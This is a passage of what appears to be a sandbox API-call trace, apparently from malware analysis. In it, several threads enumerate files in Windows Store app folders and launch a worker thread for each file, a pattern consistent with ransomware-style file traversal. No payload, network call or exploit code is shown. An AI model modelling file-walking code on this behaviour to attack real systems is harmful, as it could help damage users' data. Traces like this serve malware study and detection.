	[0093.597] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bfa170, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1c203c9, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1c203c9, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="NativeProxies.winmd", cAlternateFileName="")) returned 1
	[0093.597] wcscmp (_String1="NativeProxies.winmd", _String2=".") returned 1
	[0093.597] wcscmp (_String1="NativeProxies.winmd", _String2="..") returned 1
	[0093.597] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e113f0
	[0093.597] wcscpy (in: _Dest=0x2e113f0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe"
	[0093.597] wcscat (in: _Dest=0x2e113f0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\"
	[0093.597] wcscat (in: _Dest=0x2e113f0, _Source="NativeProxies.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\NativeProxies.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\NativeProxies.winmd"
	[0093.597] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e113f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1118
	[0093.598] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c203c9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1dc3db6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1dc3db6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3d2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneConnect.dll", cAlternateFileName="")) returned 1
	[0093.598] wcscmp (_String1="OneConnect.dll", _String2=".") returned 1
	[0093.598] wcscmp (_String1="OneConnect.dll", _String2="..") returned 1
	[0093.598] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc3db6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1dc3db6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1dc3db6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneConnect.exe", cAlternateFileName="")) returned 1
	[0093.598] wcscmp (_String1="OneConnect.exe", _String2=".") returned 1
	[0093.598] wcscmp (_String1="OneConnect.exe", _String2="..") returned 1
	[0093.598] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc3db6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1e1026e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1e1026e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xdc90, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0093.598] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0093.598] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0093.598] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x4926710
	[0093.598] wcscpy (in: _Dest=0x4926710, _Source="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe"
	[0093.598] wcscat (in: _Dest=0x4926710, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\"
	[0093.598] wcscat (in: _Dest=0x4926710, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.OneConnect_2.1701.277.0_x64__8wekyb3d8bbwe\\resources.pri"
	[0093.598] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4926710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1114
	[0093.599] FindNextFileW (in: hFindFile=0x2d712c0, lpFindFileData=0x2e16710 | out: lpFindFileData=0x2e16710*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc3db6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x1e1026e, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x1e1026e, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xdc90, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0093.599] FindClose (in: hFindFile=0x2d712c0 | out: hFindFile=0x2d712c0) returned 1
	[0093.600] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e16710) returned 1
	[0093.600] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5d778) returned 1
	[0093.600] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d616e0) returned 1

Thread:
	id = 830
	os_tid = 0x1338

	[0079.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x2d7ebc8
	[0079.735] wcscpy (in: _Dest=0x2d7ebc8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0079.735] wcscat (in: _Dest=0x2d7ebc8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0079.735] wcscat (in: _Dest=0x2d7ebc8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"
	[0079.735] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e16978
	[0079.735] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\*", lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x255053c0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd61ded48, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd61ded48, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71300
	[0079.736] wcscmp (_String1=".", _String2=".") returned 0
	[0079.736] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x255053c0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd61ded48, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd61ded48, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.736] wcscmp (_String1="..", _String2=".") returned 1
	[0079.736] wcscmp (_String1="..", _String2="..") returned 0
	[0079.736] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25539872, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x25557698, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x25557698, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xe2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.736] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.736] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x2e3b750
	[0079.736] wcscpy (in: _Dest=0x2e3b750, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0079.736] wcscat (in: _Dest=0x2e3b750, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0079.736] wcscat (in: _Dest=0x2e3b750, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0093.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2e3b750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd84
	[0093.583] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x255053c0, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x255053c0, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x255053c0, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x40a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0093.583] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0093.583] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0093.583] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe4) returned 0x491e168
	[0093.583] wcscpy (in: _Dest=0x491e168, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0093.583] wcscat (in: _Dest=0x491e168, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0093.583] wcscat (in: _Dest=0x491e168, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxManifest.xml"
	[0093.583] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x491e168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1308
	[0093.584] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25557698, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x25557698, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x25557698, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2998, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0093.584] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0093.584] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0093.584] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe6) returned 0x491eac8
	[0093.584] wcscpy (in: _Dest=0x491eac8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0093.584] wcscat (in: _Dest=0x491eac8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0093.584] wcscat (in: _Dest=0x491eac8, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\AppxSignature.p7x"
	[0093.584] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x491eac8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1140
	[0093.585] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25557698, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xafc5120a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2564079d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0093.585] wcscmp (_String1="Assets", _String2=".") returned 1
	[0093.585] wcscmp (_String1="Assets", _String2="..") returned 1
	[0093.585] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x2e11900
	[0093.585] wcscpy (in: _Dest=0x2e11900, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0093.585] wcscat (in: _Dest=0x2e11900, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0093.585] wcscat (in: _Dest=0x2e11900, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\Assets"
	[0093.585] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2e11900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x113c
	[0093.586] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd61ded48, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xd61ded48, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd61ded48, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0093.586] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0093.586] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0093.586] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x4717288
	[0093.586] wcscpy (in: _Dest=0x4717288, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0093.586] wcscat (in: _Dest=0x4717288, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0093.586] wcscat (in: _Dest=0x4717288, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0093.586] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4717288, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1138
	[0093.588] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2564079d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2564079d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2564079d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 1
	[0093.588] wcscmp (_String1="resources.pri", _String2=".") returned 1
	[0093.588] wcscmp (_String1="resources.pri", _String2="..") returned 1
	[0093.588] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e33900
	[0093.588] wcscpy (in: _Dest=0x4e33900, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe"
	[0093.588] wcscat (in: _Dest=0x4e33900, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\"
	[0093.588] wcscat (in: _Dest=0x4e33900, _Source="resources.pri" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_neutral_split.scale-100_8wekyb3d8bbwe\\resources.pri"
	[0093.588] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e33900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1134
	[0093.589] FindNextFileW (in: hFindFile=0x2d71300, lpFindFileData=0x2e16978 | out: lpFindFileData=0x2e16978*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2564079d, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2564079d, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2564079d, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources.pri", cAlternateFileName="")) returned 0
	[0093.589] FindClose (in: hFindFile=0x2d71300 | out: hFindFile=0x2d71300) returned 1
	[0093.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e16978) returned 1
	[0093.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d7ebc8) returned 1
	[0093.590] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e9c50) returned 1

Thread:
	id = 831
	os_tid = 0x133c

	[0079.737] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa0) returned 0x4986da0
	[0079.737] wcscpy (in: _Dest=0x4986da0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0079.737] wcscat (in: _Dest=0x4986da0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0079.737] wcscat (in: _Dest=0x4986da0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\*"
	[0079.737] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2e273f8
	[0079.737] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\*", lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2499f315, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd61ded48, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd61ded48, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d71340
	[0079.739] wcscmp (_String1=".", _String2=".") returned 0
	[0079.739] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2499f315, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xd61ded48, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xd61ded48, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.739] wcscmp (_String1="..", _String2=".") returned 1
	[0079.739] wcscmp (_String1="..", _String2="..") returned 0
	[0079.739] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2499f315, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2499f315, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2499f315, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8292, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0079.739] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0079.739] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0079.739] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4771428
	[0079.739] wcscpy (in: _Dest=0x4771428, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0079.739] wcscat (in: _Dest=0x4771428, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0079.739] wcscat (in: _Dest=0x4771428, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0093.565] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4771428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd88
